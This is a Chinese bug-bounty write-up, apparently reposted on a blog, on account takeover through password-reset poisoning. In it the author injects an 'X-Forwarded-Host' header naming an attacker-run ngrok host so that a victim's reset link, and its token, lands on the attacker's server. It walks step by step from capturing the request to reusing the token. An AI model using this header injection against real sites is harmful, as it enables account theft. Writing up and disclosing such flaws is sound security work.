挖漏经验:在密码重置请求包中添加X-Forwarded-Host实现受害者账户完全劫持
今天分享的這篇Writeup為作者通過利用目標網站“忘記密碼”功能,在重置密碼請求發包中添加X-Forwarded-Host主機信息,欺騙目標網站把重置密碼的鏈接導向到自己的服務器,從而實現對受害者賬戶的完全劫持。
這里,基于保密原因,先假設目標測試網站為redacted.com,在對其測試過程中,我把重點放到了它的“忘記密碼”功能處。經過了6個小時的折騰,我發現了其中存在一個非常有意思的漏洞,利用該漏洞可以實現對目標受害者的完全賬戶劫持。
發現過程
所需工具:BurpSuite、Ngrok Server。Ngrok服務可以將自己本地PC映射到云上的Server公網,目的為將本地PC變成與外部網絡交流的終端服務器,間接把云上的Server則變成外網與內網PC之間的中轉代理。
1、訪問目標網站的忘記密碼功能,在其中輸入用戶名信息請求獲得重置密碼鏈接:https://redacted.com/users/forgot_password,Notice:之后目標網站會往你的注冊郵箱發送一個重置密碼鏈接。
2、在上過程中,用BurpSuite開啟Web抓包,請求包情況如下:
從中我們添加一個X-Forwarded-Host: bing.com來嘗試,看看目標網站是否會把這個重置密碼鏈接包含進bing.com;
X-Forwarded-For(XFF)是用來識別通過HTTP代理或負載均衡方式連接到Web服務器的客戶端最原始的IP地址的HTTP請求頭字段。 Squid 緩存代理服務器的開發人員最早引入了這一HTTP頭字段,并由IETF在HTTP頭字段標準化草案[1]中正式提出。具體點此處參考。
3、這里,我們打開郵箱,查看目標網站發送過來的密碼重置鏈接長啥樣,哇,從發來的郵件中我們可以看到,其中包含了用戶Token信息的密碼重置鏈接,大致樣子如下:
https://bing.com/users/reset_password/tqo4Xciu806oiR1FjX8RtIUc1DTcm1B5Kqb53j1fLEkzMW2GPgCpuEODDStpRaES
就這樣,我們可以認為我的密碼重置Token信息已經轉發給bing.com了,這里需要對這個Token做個真實驗證,所以,我們可以把密碼重置鏈接中的https://bing.com替換成目標網站的https://redacted.com;
4、果然,我們打開了一個能真正實施重置密碼的頁面!
漏洞利用
根據以上操作和存在的問題,我可以構造網絡架構來劫持用戶相關信息。步驟如下:
1、通過ngrok服務架設 Attacker服務器;
2、開啟Burpsuite抓包,在目標網站的“忘記密碼”處輸入受害者用戶名信息,執行密碼重置確定操作;
3、在Burpsuite抓到的密碼重置請求包中,添加Attacker服務器,格式如:
X-Forwarded-Host: ngrok.io其中ngrok.io為Attacker服務器的域名地址。如:
4、 因此,當受害者郵箱收到目標網站發送的密碼重置鏈接中就會包含Attacker服務器的域名地址,如:
http://ngrok.io/users/reset_password/tqo4Xciu806oiR1FjX8RtIUc1DTcm1B5Kqb53j1fLEkzMW2GPgCpuEODDStpRaES
當受害者一不小心點擊了該鏈接之后,就會帶著其用戶密碼重置Token去請求Attacker服務器ngrok.io(這里需要與用戶的交互動作);
5、在受害者點開上述鏈接的同時,在Attacker服務器ngrok.io這邊,攻擊者看到的將會是包含受害者用戶密碼重置Token的一個請求信息,如下:
6、到此,攻擊者獲得了受害者用戶的密碼重置Token之后,把Attacker服務器ngrok.io替換成目標網站https://redacted.com,加上后續的受害者用戶的密碼重置Token,就可成功對受害者賬戶的重置密碼,實現對其賬戶的完全劫持。
我把該漏洞進行上報后,獎勵了我3位數美金的獎勵$(Between $700-$1000)。感謝閱讀。
總結
以上是生活随笔為你收集整理的挖漏经验:在密码重置请求包中添加X-Forwarded-Host实现受害者账户完全劫持的全部內容,希望文章能夠幫你解決所遇到的問題。
- 上一篇: mongodb 创建数据库权限账号,增删
- 下一篇: sqlite3 查询表时,表头与列对齐显